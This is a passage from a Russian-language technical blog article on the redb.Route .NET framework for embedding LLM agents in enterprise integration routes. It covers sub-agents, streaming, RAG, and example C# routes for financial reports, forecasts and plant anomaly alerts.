style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Что здесь происходит технически: когда Opus решает позвать &lt;code&gt;research_topic&lt;/code&gt;, агент-engine строит JSON-вход и через &lt;code&gt;RouteToolBridge&lt;/code&gt; отправляет его на &lt;code&gt;direct:research-subagent&lt;/code&gt;. Этот маршрут запускается как &lt;strong&gt;новый Exchange&lt;/strong&gt;, наследуя transaction-scope, principal, headers и DI-scope от родительского. Внутри него Sonnet делает свой собственный tool-use loop (web search → fetch → extract), потенциально с десятью итерациями и тремя инструментами. Возвращает структурированный summary в &lt;code&gt;Out.Body&lt;/code&gt;, который агент-engine упаковывает обратно как &lt;code&gt;tool_result&lt;/code&gt; для Opus. Opus видит результат, продолжает свою работу, при необходимости зовёт ещё.&lt;p&gt;Иными словами: &lt;strong&gt;архитектура рекурсивна без единой строки спецкода&lt;/strong&gt;. Sub-agent внутри sub-agent&amp;#39;а работает по тем же правилам. На третьем уровне всё ещё работают audit, budget, idempotency, prompt-versioning, RAG, governance — потому что они не привязаны к «уровню агента», они привязаны к Exchange&amp;#39;у, а Exchange один и тот же примитив на любой глубине.&lt;p&gt;Это даёт &lt;strong&gt;три производных паттерна&lt;/strong&gt;, которые в плоской «один-агент-много-инструментов» архитектуре собирать неудобно:&lt;p&gt;&lt;strong&gt;(а) Hierarchical agents — planner и workers.&lt;/strong&gt; Старшая модель (Opus, GPT-4o) играет роль планировщика: разбивает задачу на куски и распределяет по специалистам. Каждый специалист — sub-agent с узким промптом и узким набором инструментов. У planner&amp;#39;а собственного доступа к данным может вообще не быть — только через subagent&amp;#39;ов. Это даёт &lt;strong&gt;жёсткое разграничение полномочий&lt;/strong&gt;: planner не может случайно дёрнуть &lt;code&gt;delete_records&lt;/code&gt;, потому что у него такого инструмента нет; его есть только у &lt;code&gt;data-cleanup-subagent&lt;/code&gt;, к которому planner обращается явно.&lt;p&gt;&lt;strong&gt;(б) Specialist subagents с собственной памятью.&lt;/strong&gt; Sub-agent может иметь свой собственный &lt;code&gt;conversationId&lt;/code&gt; (другая ветка REDB-tree), свой собственный набор &lt;code&gt;Knowledge(...)&lt;/code&gt;-источников, свой собственный реестр промптов. Условный &lt;code&gt;legal-review-subagent&lt;/code&gt; живёт внутри корпоративной legal-knowledge базы, видит &lt;strong&gt;только&lt;/strong&gt; её, отвечает строго в правовом регистре, и старший агент никогда не получает доступ к этим документам напрямую. ACL соблюдается на уровне маршрута, не на уровне «надеемся, модель не процитирует».&lt;p&gt;&lt;strong&gt;(в) Cost-shaped escalation.&lt;/strong&gt; Дешёвый агент (Haiku) пытается решить задачу первым. Если он возвращает &lt;code&gt;unclear&lt;/code&gt; или confidence ниже порога, он сам вызывает &lt;code&gt;escalate_to_senior&lt;/code&gt; как tool — и под этим инструментом сидит маршрут к Opus с полным контекстом. Большая часть запросов оседает на Haiku за копейки; в Opus уходят только сложные. На big-volume workloads это меняет экономику в разы.&lt;p&gt;Сравнение со static-jury из паттерна №9: &lt;strong&gt;jury — статически зашитый subagent pattern&lt;/strong&gt;. Маршрут заранее знает, что должно быть N кандидатов и один арбитр; DAG зафиксирован в DSL. &lt;strong&gt;Sub-agents-as-tools — динамическая версия&lt;/strong&gt;: главный агент &lt;strong&gt;сам решает&lt;/strong&gt;, кого позвать и сколько раз. Jury лучше для предсказуемых конвейеров классификации/прогноза. Sub-agents — для open-ended исследовательских задач, где количество шагов и состав инструментов заранее неизвестны.&lt;p&gt;Подводный камень — циклы. Если sub-agent A может звать B, а B может звать A, теоретически возможен бесконечный спуск. На практике он гасится тремя ограничителями: &lt;code&gt;MaxIterations&lt;/code&gt; на каждом уровне (sub-agent не может крутиться вечно), &lt;code&gt;CostBudgetProps&lt;/code&gt; (родительский бюджет тратится на каждый вложенный вызов), и опциональный depth-limit в headers (&lt;code&gt;LlmHeaders.SubAgentDepth&lt;/code&gt; инкрементируется на каждом вложении, маршрут отбрасывает запросы при превышении). На практике после &lt;code&gt;depth = 3-4&lt;/code&gt; реальные задачи уже не выигрывают.&lt;p&gt;И ещё одна архитектурная красота: &lt;strong&gt;subagent — это просто маршрут&lt;/strong&gt;, а значит у него есть стандартный URI. Разные родительские агенты могут шарить одного &lt;code&gt;research-subagent&lt;/code&gt;, у которого собственный &lt;code&gt;?redb=acme&lt;/code&gt; для tenant-isolation, собственный rate-limiter (&lt;code&gt;?throttle=5/sec&lt;/code&gt;), собственный circuit-breaker. Sub-agent ведёт себя как &lt;strong&gt;внутренний микросервис LLM-уровня&lt;/strong&gt;, который вы переиспользуете между маршрутами, не дублируя промпт и не плодя клиенты.&lt;hr&gt;&lt;h3&gt;Streaming: что на самом деле меняется, когда токен покидает провайдера&lt;/h3&gt;&lt;p&gt;В 3.1.0 streaming был у провайдеров, но &lt;strong&gt;не доходил до клиента&lt;/strong&gt; — мы аккумулировали токены в строку и возвращали целиком. В 3.1.1 закрыли всю цепочку:&lt;ul&gt;&lt;li&gt;&lt;p&gt;провайдер отдаёт &lt;code&gt;IAsyncEnumerable&amp;lt;string&amp;gt;&lt;/code&gt; — кадры по мере прибытия;&lt;li&gt;&lt;p&gt;агент-engine кладёт это в &lt;code&gt;Out.Body&lt;/code&gt; как &lt;code&gt;IAsyncEnumerable&amp;lt;string&amp;gt;&lt;/code&gt;, &lt;strong&gt;не материализуя&lt;/strong&gt;;&lt;li&gt;&lt;p&gt;HTTP-консьюмер видит &lt;code&gt;IAsyncEnumerable&amp;lt;string&amp;gt;&lt;/code&gt; и переключается в SSE-режим — каждый кадр отдельным &lt;code&gt;data: ...\n\n&lt;/code&gt;;&lt;li&gt;&lt;p&gt;WS-консьюмер — каждый кадр отдельным WebSocket message;&lt;li&gt;&lt;p&gt;non-streaming consumer&amp;#39;ы (Kafka, RabbitMQ, ActiveMQ) — материализуют в строку, как раньше.&lt;/ul&gt;&lt;p&gt;Что это даёт &lt;strong&gt;архитектурно&lt;/strong&gt;: streaming перестаёт быть отдельным режимом «у нас есть streaming-API и обычный API». Это просто &lt;strong&gt;тип значения в &lt;/strong&gt;&lt;code&gt;&lt;strong&gt;Out.Body&lt;/strong&gt;&lt;/code&gt;, который consumer-side обрабатывает в зависимости от своих возможностей. Тот же exchange может быть отправлен и в SSE, и в Kafka одновременно (multicast EIP) — Kafka-сторона дождётся материализации, SSE-сторона увидит кадры по мере поступления.&lt;p&gt;Под капотом — стандартный паттерн «Iterator вместо Collection в payload»: на pipe&amp;#39;ах он давно живёт. Единственное специфичное — это, что async-iteration должен работать &lt;strong&gt;внутри&lt;/strong&gt; end-to-end Exchange-tracking&amp;#39;а, чтобы tracing/metrics видели весь путь, а не «получили один Exchange и отвалились».&lt;hr&gt;&lt;h3&gt;RAG: чанки в REDB как первоклассные объекты&lt;/h3&gt;&lt;p&gt;В 3.1.1 &lt;code&gt;KnowledgeChunkProps&lt;/code&gt; — это REDB-объект с:&lt;ul&gt;&lt;li&gt;&lt;p&gt;содержимым (&lt;code&gt;text&lt;/code&gt;),&lt;li&gt;&lt;p&gt;источником (&lt;code&gt;source-uri&lt;/code&gt;, &lt;code&gt;tenant-id&lt;/code&gt;, &lt;code&gt;doc-id&lt;/code&gt;, &lt;code&gt;chunk-index&lt;/code&gt;),&lt;li&gt;&lt;p&gt;метаданными (язык, дата, теги, ACL — кто имеет право видеть),&lt;li&gt;&lt;p&gt;placeholder&amp;#39;ом для embedding (вектор поедет отдельным релизом, MVP — keyword search через &lt;code&gt;value_string&lt;/code&gt;-индексы и FTS).&lt;/ul&gt;&lt;p&gt;Это значит, что &lt;strong&gt;RAG-источник = маршрут&lt;/strong&gt;, а не «отдельный векторный сервис». Маршрут &lt;code&gt;From(&amp;#34;file://docs?include=*.md&amp;#34;).To(&amp;#34;knowledge://acme&amp;#34;)&lt;/code&gt; индексирует документы. Маршрут &lt;code&gt;From(&amp;#34;kafka://support-tickets&amp;#34;).Knowledge(&amp;#34;acme&amp;#34;, k: 5)&lt;/code&gt; подмешивает топ-5 чанков в системный промпт перед &lt;code&gt;.To(&amp;#34;llm://claude&amp;#34;)&lt;/code&gt;. ACL и tenant-фильтрация — это &lt;code&gt;value_*&lt;/code&gt;-индексы, которые применяются в SQL до отправки чанков в промпт.&lt;p&gt;Когда подключим vector-store — он встанет рядом с keyword-search через тот же &lt;code&gt;IKnowledgeStore&lt;/code&gt; интерфейс, без изменений в маршрутах. Это &lt;strong&gt;главная цель архитектуры&lt;/strong&gt;: будущие фичи не ломают сегодняшние маршруты.&lt;hr&gt;&lt;h3&gt;Три реальных enterprise-кейса: отчёты, прогнозы, оповещения&lt;/h3&gt;&lt;p&gt;Паттерны выше — это атомарные кирпичики. Дальше — три полноценных сценария, в которых эти кирпичики складываются в реально работающий enterprise-маршрут. Без AI-хайпа, без «когнитивной автоматизации», без слов «трансформирует индустрию». Просто &lt;strong&gt;рутина, которую люди делают руками каждый день, и которая снимается агентом, потому что он живёт в той же шине, что и данные&lt;/strong&gt;.&lt;h4&gt;Кейс 1. Ежедневный финансовый отчёт CFO на email — со сравнением с прошлым кварталом&lt;/h4&gt;&lt;p&gt;Каждый рабочий день в 7:00 финансовый аналитик собирает: выручку за вчера, расходы по статьям, отклонения от плана, top-5 крупнейших операций, остатки по счетам, курсы валют. Потом пишет короткую сопроводиловку — «выручка +3.2% к плану, расходы +1.7%, отклонения объясняются Х». Уходит на это час-полтора. Есть ли смысл это автоматизировать? Однозначно. Можно ли это сделать на отдельном AI-сервисе? Можно. Стоит ли? Нет.&lt;p&gt;Маршрут целиком:&lt;pre&gt;&lt;code&gt;// Каждое утро в 07:00 по локальному времени&#xA;From(&amp;#34;cron://daily-cfo-report?schedule=0 0 7 ? * MON-FRI&amp;#34;)&#xA;    .RouteId(&amp;#34;daily-cfo-report&amp;#34;)&#xA;    .Process&amp;lt;LoadYesterdayMetrics&amp;gt;()                       // тянет из 1С/SAP/банковского API&#xA;                                                            // → e.In.Body = {revenue, expenses, accounts, fx, top5}&#xA;    .Process&amp;lt;LoadQuarterContext&amp;gt;()                         // из того же ETL: план, прошлый квартал, MTD/QTD&#xA;    .ConvertBody&amp;lt;FinancialDailySnapshot&amp;gt;()                 // strongly-typed payload&#xA;    .Multicast().Parallel()&#xA;        .To(Llm.Factory(&amp;#34;haiku&amp;#34;)                           // ветка A: коротко по-русски, для CFO&#xA;            .SystemPromptRef(&amp;#34;#cfo-daily-summary-ru@v7&amp;#34;)&#xA;            .Temperature(0.1).MaxTokens(800)&#xA;            .CostBudget(usd: 0.02).AsUri())&#xA;        .To(Llm.Factory(&amp;#34;haiku&amp;#34;)                           // ветка B: english, для board chat&#xA;            .SystemPromptRef(&amp;#34;#cfo-daily-summary-en@v7&amp;#34;)&#xA;            .Temperature(0.1).MaxTokens(800)&#xA;            .CostBudget(usd: 0.02).AsUri())&#xA;    .End()&#xA;    .Process&amp;lt;RenderHtmlReport&amp;gt;()                           // mustache-шаблон: цифры таблицей,&#xA;                                                            // текст моделей вверху как summary&#xA;    .To(&amp;#34;smtp://mail.acme.com?to=cfo@acme.com,board@acme.com&amp;#34; +&#xA;        &amp;#34;&amp;amp;subject=Daily%20FY%20snapshot%20${date:yyyy-MM-dd}&amp;#34;)&#xA;    .To(&amp;#34;teams://board-channel?card=adaptive&amp;#34;)             // та же html-секция → Teams adaptive card&#xA;    .Wiretap(&amp;#34;kafka://reports.cfo-daily.archive&amp;#34;);         // копия в архив для аудита и обучения&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Семь шагов, и в этих семи шагах закрыто всё:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Расписание&lt;/strong&gt; — &lt;code&gt;cron&lt;/code&gt;-выражение в URI, без отдельного шедулера; &lt;code&gt;redb.Route&lt;/code&gt; уже умеет.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Сбор данных&lt;/strong&gt; — &lt;code&gt;LoadYesterdayMetrics&lt;/code&gt; это &lt;strong&gt;обычный процессор&lt;/strong&gt;, который дёргает существующие интеграции через тот же &lt;code&gt;redb.Route&lt;/code&gt; (Kafka/REST/JDBC), и любые retry/circuit-breaker&amp;#39;ы у этих интеграций уже стоят.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Двуязычная генерация&lt;/strong&gt; — multicast в две ветки одного дешёвого Haiku с разными промпт-шаблонами. Стоит копейки, бюджет фиксирован.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Версионированный промпт&lt;/strong&gt; — &lt;code&gt;#cfo-daily-summary-ru@v7&lt;/code&gt;. Через полгода CFO скажет «отчёт стал хуже» — открываем &lt;code&gt;EvalRunProps&lt;/code&gt;, видим, что v7 регрессирует на эталоне → откатываемся на v6 без redeploy.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Канал доставки&lt;/strong&gt; — два transport&amp;#39;а (SMTP + Teams), оба штатные &lt;code&gt;redb.Route&lt;/code&gt;-коннекторы. Завтра CFO попросит «ещё в Slack» — добавляется одна строка &lt;code&gt;.To(&amp;#34;slack://...&amp;#34;)&lt;/code&gt;.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Аудит&lt;/strong&gt; — &lt;code&gt;Wiretap&lt;/code&gt; копирует в Kafka-архив. Регулятор через год спрашивает «покажи отчёт за 2026-04-15» — вынимается из архива с метаданными «модель X, версия промпта Y, исходные данные Z» (потому что &lt;code&gt;MessageProps&lt;/code&gt; хранит и input, и output).&lt;li&gt;&lt;p&gt;&lt;strong&gt;Бюджет&lt;/strong&gt; — &lt;code&gt;.CostBudget(usd: 0.02)&lt;/code&gt; на ветке. 250 рабочих дней × 2 ветки × $0.02 = $10/год на отчёты. Финансовая редактура за час времени аналитика — $50. Окупается за день первого месяца.&lt;/ul&gt;&lt;p&gt;Что это делает enterprise-кейсом, а не игрушкой: в момент, когда CFO жалуется на «странную цифру в отчёте», аудитор по trace-id за &lt;strong&gt;30 секунд&lt;/strong&gt; показывает: какой snapshot был на входе, какая версия промпта применилась, какой именно output пришёл от модели, какой файл ушёл на email, кто прочитал в Teams. Не «давайте я завтра разберусь и пришлю». А прямо сейчас, потому что всё это — REDB-объекты, привязанные к одному exchange-id.&lt;h4&gt;Кейс 2. Прогноз cash-flow на 30 дней с jury из моделей и арбитром&lt;/h4&gt;&lt;p&gt;Финансовый прогноз — это типичная задача, где &lt;strong&gt;одна модель вреднее, чем ноль моделей&lt;/strong&gt;: ошибка модели уверенным голосом приводит к решению, которое стоит дороже, чем месяц работы аналитика. Поэтому здесь — паттерн №9 (jury + arbiter) во весь рост.&lt;pre&gt;&lt;code&gt;From(&amp;#34;cron://weekly-cashflow-forecast?schedule=0 0 9 ? * MON&amp;#34;)&#xA;    .RouteId(&amp;#34;weekly-cashflow-forecast&amp;#34;)&#xA;    .Process&amp;lt;BuildCashflowFeatures&amp;gt;()                      // банковские счета, дебиторка/кредиторка,&#xA;                                                            // плановые платежи, сезонность, FX-позиции&#xA;    .Knowledge(&amp;#34;acme-finance&amp;#34;, k: 8)                       // RAG: внутренние гайдлайны прогнозирования,&#xA;                                                            // прошлые отчёты, методология&#xA;    .Multicast().Parallel().Timeout(TimeSpan.FromMinutes(2))&#xA;        .To(Llm.Factory(&amp;#34;sonnet&amp;#34;)                          // 4 разные модели, чтобы ошибки были&#xA;            .SystemPromptRef(&amp;#34;#cashflow-forecast@v4&amp;#34;)      // независимыми, а не коррелированными&#xA;            .Temperature(0.2).MaxTokens(2000).AsUri())&#xA;        .To(Llm.Factory(&amp;#34;gpt-4o&amp;#34;)&#xA;            .SystemPromptRef(&amp;#34;#cashflow-forecast@v4&amp;#34;)&#xA;            .Temperature(0.2).MaxTokens(2000).AsUri())&#xA;        .To(Llm.Factory(&amp;#34;gemini-pro&amp;#34;)&#xA;            .SystemPromptRef(&amp;#34;#cashflow-forecast@v4&amp;#34;)&#xA;            .Temperature(0.2).MaxTokens(2000).AsUri())&#xA;        .To(Llm.Factory(&amp;#34;mistral-large&amp;#34;)&#xA;            .SystemPromptRef(&amp;#34;#cashflow-forecast@v4&amp;#34;)&#xA;            .Temperature(0.2).MaxTokens(2000).AsUri())&#xA;    .End()&#xA;    .Process&amp;lt;JuryAggregator&amp;gt;()                             // анонимизация A/B/C/D + перемешивание&#xA;    .To(Llm.Factory(&amp;#34;opus&amp;#34;)                                // arbiter — самая мощная модель&#xA;        .SystemPromptRef(&amp;#34;#cashflow-arbiter@v2&amp;#34;)&#xA;        .Temperature(0.1).MaxTokens(3000)&#xA;        .CostBudget(usd: 0.50).AsUri())&#xA;    .Process&amp;lt;ExtractStructuredForecast&amp;gt;()                  // парсим JSON: 30 дней с low/mid/high&#xA;    .Choice()&#xA;        .When(e =&amp;gt; e.In.Body&amp;lt;Forecast&amp;gt;().ConfidenceLow &amp;lt; 0.6)&#xA;            .Process&amp;lt;ApprovalGate&amp;gt;()                       // низкая уверенность → жди CFO&#xA;            .To(&amp;#34;smtp://...?to=cfo@acme.com&amp;amp;priority=high&amp;#34;)&#xA;        .Otherwise()&#xA;            .Process&amp;lt;RenderForecastReport&amp;gt;()&#xA;            .To(&amp;#34;smtp://...?to=treasury@acme.com&amp;#34;)&#xA;    .End()&#xA;    .Wiretap(&amp;#34;kafka://reports.cashflow.archive&amp;#34;);&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Этот маршрут стоит ~$2-3 за прогон, прогон делается раз в неделю — то есть ~$150/год. Аналитик потратил бы день на ту же задачу. Ключевая ценность не в экономии — &lt;strong&gt;в робастности&lt;/strong&gt;: четыре независимых ответа от разных провайдеров (Anthropic, OpenAI, Google, Mistral) дают модель &lt;strong&gt;«согласия» как сигнала уверенности&lt;/strong&gt;. Если четыре модели сошлись — арбитр Opus просто кодифицирует. Если разъехались — арбитр пишет «модель A видит риск Х, остальные нет, рекомендую человеческую проверку», и &lt;code&gt;Choice&lt;/code&gt;-ветка сама уходит в approval-gate.&lt;p&gt;Через год treasury-команда смотрит на &lt;code&gt;EvalRunProps&lt;/code&gt; и видит: «модель Gemini-Pro расходится с консенсусом в 18% случаев, и в 70% этих случаев права именно она» — отличный сигнал, что её надо &lt;strong&gt;повысить в весе&lt;/strong&gt; в jury, а не убрать. Это не догадка, а запрос в REDB.&lt;h4&gt;Кейс 3. Производственный прогноз и проактивный алерт инженеру&lt;/h4&gt;&lt;p&gt;В производстве (не финансовом, а реальном — заводы, склады, логистика) типичная задача: &lt;strong&gt;по SCADA-метрикам предсказать, что через 4-6 часов случится сбой, и заранее уведомить инженера&lt;/strong&gt;. Раньше для этого делали отдельные ML-сервисы с feature-store и моделями градиентного бустинга. Это всё ещё корректный путь, и LLM не заменяет его. Но &lt;strong&gt;LLM хорошо закрывает «последнюю милю»&lt;/strong&gt; — превращение «вектор отклонений + контекст» в внятное человеческое объяснение.&lt;pre&gt;&lt;code&gt;// Слушаем поток метрик из SCADA-шины (через MQTT/Kafka), окно 5 минут&#xA;From(&amp;#34;kafka://scada.metrics?groupId=plant-anomaly-watcher&amp;#34;)&#xA;    .RouteId(&amp;#34;plant-anomaly-watcher&amp;#34;)&#xA;    .Aggregate(by: e =&amp;gt; e.In.Headers[&amp;#34;LineId&amp;#34;],&#xA;               window: TimeSpan.FromMinutes(5))            // окно по линии производства&#xA;    .Process&amp;lt;RunAnomalyModel&amp;gt;()                            // классический ML — XGBoost, ничего нового;&#xA;                                                            // выдаёт {score, top-features, line-context}&#xA;    .Choice()&#xA;        .When(e =&amp;gt; e.In.Body&amp;lt;AnomalyReport&amp;gt;().Score &amp;gt; 0.8)&#xA;            .Knowledge(&amp;#34;plant-runbooks&amp;#34;, k: 3)             // RAG: runbook&amp;#39;и по этой линии,&#xA;                                                            // история похожих инцидентов&#xA;            .To(Llm.Factory(&amp;#34;haiku&amp;#34;)&#xA;                .SystemPromptRef(&amp;#34;#plant-incident-explainer@v9&amp;#34;)&#xA;                .Temperature(0.0).MaxTokens(600)&#xA;                .Tools(&amp;#34;metrics-history&amp;#34;, &amp;#34;fetch-shift-log&amp;#34;)  // агент сам дотянет данные&#xA;                .MaxIterations(4)&#xA;                .CostBudget(usd: 0.10).AsUri())&#xA;            .Process&amp;lt;EnrichWithOnDutyEngineer&amp;gt;()           // кто сегодня в смене на этой линии&#xA;            .Multicast()&#xA;                .To(&amp;#34;teams://engineering-shift-{LineId}?card=adaptive&amp;#34;)&#xA;                .To(&amp;#34;sms://twilio?to={engineer.phone}&amp;#34;)&#xA;                .To(&amp;#34;kafka://incidents.predicted.archive&amp;#34;)&#xA;            .End()&#xA;        .Otherwise()&#xA;            .To(&amp;#34;kafka://scada.metrics.normal&amp;#34;)            // просто архивируем&#xA;    .End();&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Что здесь происходит и почему это работает:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;ML-модель не выкидывается.&lt;/strong&gt; Anomaly score считает старый добрый XGBoost, который всю жизнь хорошо это делал. LLM встаёт &lt;strong&gt;после&lt;/strong&gt; него.&lt;li&gt;&lt;p&gt;&lt;strong&gt;LLM объясняет, а не предсказывает.&lt;/strong&gt; Промпт: «вот аномалия на линии 7, top-3 фичи такие-то, runbook говорит так-то, история инцидентов такова. Объясни на одной странице, что вероятно произошло, что инженеру делать в ближайший час, и какие три параметра проверить первыми». Это работа, в которой LLM объективно сильна — синтез.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Tools у агента — это доступ к данным завода.&lt;/strong&gt; &lt;code&gt;metrics-history&lt;/code&gt; — это &lt;code&gt;direct:metrics-history&lt;/code&gt; маршрут, который запрашивает Influx/Prometheus. &lt;code&gt;fetch-shift-log&lt;/code&gt; — REDB-запрос к журналу смены. Агент сам решит, нужно ли ему дёргать эти инструменты, и сколько раз. &lt;code&gt;MaxIterations(4)&lt;/code&gt; — потолок, чтобы не зацикливался.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Доставка — multi-channel.&lt;/strong&gt; Teams-карточка с кнопкой «принял в работу» (которая, кстати, дёрнет ApprovalGate-подобный webhook), SMS на дежурный телефон через Twilio (этот transport уже есть в &lt;code&gt;redb.Route&lt;/code&gt;), архив в Kafka.&lt;li&gt;&lt;p&gt;&lt;code&gt;&lt;strong&gt;Aggregate by LineId, window 5min&lt;/strong&gt;&lt;/code&gt; — это EIP Aggregator, который буферизует метрики по группам. Никакой &lt;code&gt;redb.Route.Llm&lt;/code&gt;-специфики; это обычная интеграционная логика, которая работает у вас уже годы.&lt;/ul&gt;&lt;p&gt;Что это даёт бизнесу: время от появления аномалии до «инженер на линии знает, что искать» падает с 40 минут (старый процесс — оператор увидел, позвонил, описал, инженер пришёл, начал искать) до 4-5 минут. На дорогостоящих линиях каждый час простоя — это десятки тысяч долларов; этот маршрут окупается за &lt;strong&gt;первое предотвращённое срабатывание&lt;/strong&gt;.&lt;p&gt;И заметьте, что во всех трёх кейсах роль LLM — &lt;strong&gt;узкая&lt;/strong&gt;. Не «AI управляет фабрикой». Не «AI ведёт финансы компании». LLM делает &lt;strong&gt;одну конкретную вещь&lt;/strong&gt; в маршруте — суммаризацию, синтез, выбор из кандидатов, объяснение. А вокруг неё стоит вся обычная enterprise-инфраструктура: расписания, ETL, RAG, мульти-канальная доставка, аудит, governance, бюджеты. Эта инфраструктура — и есть &lt;code&gt;redb.Route&lt;/code&gt;. LLM — последний кирпич, который раньше требовал отдельного сервиса.&lt;hr&gt;&lt;h3&gt;Storytelling: как чат-демо вырастает в платформу&lt;/h3&gt;&lt;p&gt;Расскажу путь, как он происходит у живой команды (видел его уже несколько раз).&lt;p&gt;&lt;strong&gt;День 1.&lt;/strong&gt; Кто-то показывает коллегам, что Claude может ответить на тикет. Файл &lt;code&gt;LlmHttpRoutes.cs&lt;/code&gt; — 6 строк, &lt;code&gt;From(&amp;#34;http://...&amp;#34;).To(&amp;#34;llm://haiku&amp;#34;)&lt;/code&gt;, и demo работает. Это &lt;strong&gt;проект&lt;/strong&gt;, не платформа.&lt;pre&gt;&lt;code&gt;From(&amp;#34;http:0.0.0.0:5088/api/llm/ask?inOut=true&amp;#34;)&#xA;    .ConvertBody&amp;lt;string&amp;gt;()&#xA;    .To(Llm.Factory(&amp;#34;haiku&amp;#34;).MaxIterations(1).AsUri());&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;День 7.&lt;/strong&gt; Коллеги говорят: «модель не помнит, что я писал минуту назад». Добавляется &lt;code&gt;X-Chat-Id&lt;/code&gt; header → &lt;code&gt;ConversationId&lt;/code&gt;-поле → &lt;code&gt;ConversationFromHeader()&lt;/code&gt;. Один &lt;code&gt;Process(...)&lt;/code&gt;-шаг, никакой инфраструктуры — &lt;code&gt;AddRedbLlmStorage()&lt;/code&gt; уже в &lt;code&gt;Program.cs&lt;/code&gt;, &lt;code&gt;MessageProps&lt;/code&gt; уже пишутся.&lt;pre&gt;&lt;code&gt;.Process(e =&amp;gt; e.In.Headers[LlmHeaders.ConversationId] =&#xA;    e.In.Headers[&amp;#34;X-Chat-Id&amp;#34;]?.ToString() ?? &amp;#34;default&amp;#34;)&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;День 14.&lt;/strong&gt; «Хочу, чтобы он мог запускать команды на сервере». Появляется &lt;code&gt;tool-shell&lt;/code&gt; — &lt;strong&gt;отдельный маршрут с &lt;/strong&gt;&lt;code&gt;&lt;strong&gt;.AsLlmTool(&amp;#34;shell&amp;#34;)&lt;/strong&gt;&lt;/code&gt;, через &lt;code&gt;redb.Route.Exec&lt;/code&gt; с allowlist &lt;code&gt;[cmd, pwsh]&lt;/code&gt;, working-dir в temp, timeout 5 сек, cap 8KB на stdout. Безопасность — &lt;strong&gt;в DSL&lt;/strong&gt;, а не в советах в промпте.&lt;pre&gt;&lt;code&gt;From(&amp;#34;direct:tool-shell&amp;#34;)&#xA;    .AsLlmTool(&amp;#34;shell&amp;#34;).SideEffect(ToolSideEffect.ReadOnly).Cost(ToolCostClass.Cheap)&#xA;    .Then()&#xA;    .To(ExecDsl.Run().AllowedCommands(&amp;#34;pwsh&amp;#34;, &amp;#34;cmd&amp;#34;).TimeoutMs(5000).MaxStdoutBytes(8192));&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;День 21.&lt;/strong&gt; «Финансы говорят, что счёт за токены превысил план в 4 раза». Добавляется &lt;code&gt;.CostBudget(usd: 0.50)&lt;/code&gt; на conversation-id. Без новых сервисов, без новых дашбордов — он попадает в &lt;code&gt;CostBudgetProps&lt;/code&gt;, и tsak.web уже умеет его показывать.&lt;p&gt;&lt;strong&gt;День 30.&lt;/strong&gt; «Нужно, чтобы каждое действие агента было audit-able». Уже работает: &lt;code&gt;ToolAuditProps&lt;/code&gt; пишется автоматически с момента, когда инструмент стал маршрутом. Аудитор открывает SQL-запрос — все вызовы за квартал, фильтрованные по tenant и side-effect. Никакого «mes давайте интегрируем».&lt;p&gt;&lt;strong&gt;День 45.&lt;/strong&gt; «Юристы хотят human-in-loop на refund-инструмент». Добавляется &lt;code&gt;.Process&amp;lt;ApprovalGate&amp;gt;()&lt;/code&gt; перед exec. &lt;code&gt;ApprovalProps&lt;/code&gt; пишется, Slack-bot подключается как ещё один HTTP-маршрут. Всё.&lt;p&gt;&lt;strong&gt;День 60.&lt;/strong&gt; «Запускаем второго клиента — отдельная база, отдельный биллинг». Добавляется &lt;code&gt;Process(e =&amp;gt; &lt;/code&gt;&lt;a href=http://e.In rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;code&gt;e.In&lt;/code&gt;&lt;/a&gt;&lt;code&gt;.Headers[LlmHeaders.Redb] = &lt;/code&gt;&lt;a href=http://e.In rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;code&gt;e.In&lt;/code&gt;&lt;/a&gt;&lt;code&gt;.Headers[&amp;#34;X-Tenant&amp;#34;])&lt;/code&gt;. Один маршрут, два tenant&amp;#39;а, ноль изменений в логике.&lt;p&gt;&lt;strong&gt;День 90.&lt;/strong&gt; «Хочу прогнать ночью миллион тикетов через классификатор». Маршрут уже есть. Меняется один аргумент: 